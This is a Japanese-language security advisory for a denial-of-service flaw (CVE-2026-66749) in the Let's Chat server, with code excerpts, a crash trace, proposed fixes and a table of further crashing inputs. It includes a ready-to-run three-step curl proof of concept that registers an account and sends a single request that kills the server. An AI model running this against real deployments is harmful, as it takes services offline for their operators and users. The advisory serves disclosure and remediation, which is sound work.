
セキュリティアドバイザリ: 未チェックのルーム検索がサーバークラッシュを引き起こす (Let's Chat)
割り当てられたCVE ID: CVE-2026-66749
ログイン済みの任意のアカウントからの1つのHTTPリクエストで、Let's Chatのサーバープロセスが停止します。
GET /messages は room パラメータを受け取り、そのIDでルームを検索し、検索が何も返さなかったかどうかを確認せずに、その結果に対してメソッドを呼び出します。有効な24文字の16進文字列であるものの、どのルームにも属さないIDを送信すると、結果として TypeError がMongooseのコールバック内でスローされます。Expressはハンドラ内で同期的に発生した例外のみをキャッチするため、この例外は未キャッチ例外としてNodeに到達し、プロセスが終了します。
リポジトリURL: https://github.com/sdelements/lets-chat
脆弱な範囲は、canJoin 呼び出しを導入した0.4.0(コミット 84981a6、2015年2月21日)から最終リリースである0.4.8までです。修正版は存在しません。
コミット 617207f の0.4.8と、現在も公開プル可能な docker.io/sdelements/lets-chat:latest(0.4.7)で確認済みです。
CWE-476: NULLポインタ参照。CWE-248 未キャッチ例外およびCWE-400 制御不能なリソース消費につながります。
CVSS 4.0 基本スコア 7.1(高)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
攻撃者に必要なのは、通常のユーザーアカウント1つとHTTPポートへのネットワークアクセスだけです。ルームを所有または所属している必要も、存在するルームIDを知っている必要も、特権ロールを保持している必要もありません。
デフォルトインストールではアカウントの要件は緩く、defaults.yml で auth.local.enableRegistration がデフォルトで true になっているため、ログインページに到達できる人なら誰でもアカウントを作成してからリクエストを実行できます。
Procfile(web: npm start)も docker/docker-compose.yml もスーパーバイザーや再起動ポリシーを設定していないため、標準的なデプロイでは1回のリクエストで、オペレーターが再起動するまでサービスが停止します。オペレーターがプロセス監視を追加している環境でも、攻撃者はリクエストを繰り返すだけで済みます。
このルートにはルーム検証ミドルウェアが登録されていません。app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
比較対象として app/controllers/messages.js:34-41 では、ルームスコープのバリアントが middlewares.roomRoute を追加しており、これはルームを解決し、存在しない場合は404を返します:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
したがって、/messages では room の値が検証されずにマネージャーへ到達します。
app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById は、IDが正常にキャストされたもののどのドキュメントにも一致しない場合、(null, null) でコールバックします。if (!room) ガードがないため、129行目でnullを逆参照します。
観測された出力:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
ポート5000で実行中の標準インストールに対して、設定変更なしで実行:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
ステップ3はボディを返さず、curlはコード52(サーバーからの空の応答)で終了します。サーバープロセスは消滅します。24文字の16進数でどのルームにも一致しないIDであれば、どれでも再現できます。
express.oi は、すべての app.io.route(...) キーを単純な socket.on(...) ハンドラとして登録します(node_modules/express.oi/lib/index.js の initRoutes)。したがって、認証済みのsocket.ioクライアントはこれらのハンドラを直接呼び出すことができ、roomRoute を含むExpressのミドルウェアチェーンをスキップします。また、Expressのtry/catchも除去されるため、HTTPでは500になる同期スローが、socket.io経由ではプロセスを強制終了させます。
以下もすべてプロセスを終了させます。すべて確認済みです。
ルックアップにガードを追加します。app/core/messages.js:118 と app/core/files.js:156:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234 は sanitizeRoom を呼び出す前に同様の処理が必要です。また、app/core/rooms.js:248 は、欠落している、または文字列ではない options.identifier を拒否する必要があります。
この脆弱性クラス全体を塞ぐには、個別の箇所の修正ではなく、2つの変更が必要です。1つ目は、文字列であると想定されているクエリパラメータ(expand、room、id、take、skip)をコントローラ境界で型変換して検証することです。2つ目は、socket.ioハンドラのディスパッチをtry/catchでラップし、process.on('uncaughtException') ハンドラをアタッチして、1つの不正なリクエストがサーバーを停止させるのではなく、エラーレスポンスにフォールバックするようにすることです。
| 到達手段 | 入力 | スロー箇所 |
|---|
| HTTPおよびsocket.io | messages:list、room に存在しないIDを設定 | app/core/messages.js:129 |
| HTTPおよびsocket.io | files:list、room に存在しないIDを設定 | app/core/files.js:167 |
| socket.io | rooms:get に存在しないID、またはIDなし | app/core/rooms.js:213 経由 :234 |
| socket.io | rooms:users にルームなし | app/core/rooms.js:248 |
| socket.io | rooms:join にIDなし | app/core/rooms.js:248 |
| socket.io | messages:list の expand が配列 | app/core/messages.js:97 |
| socket.io | files:list の expand が配列 | app/core/files.js:139 |
| socket.io | users:get の id がオブジェクト | app/models/user.js:139 |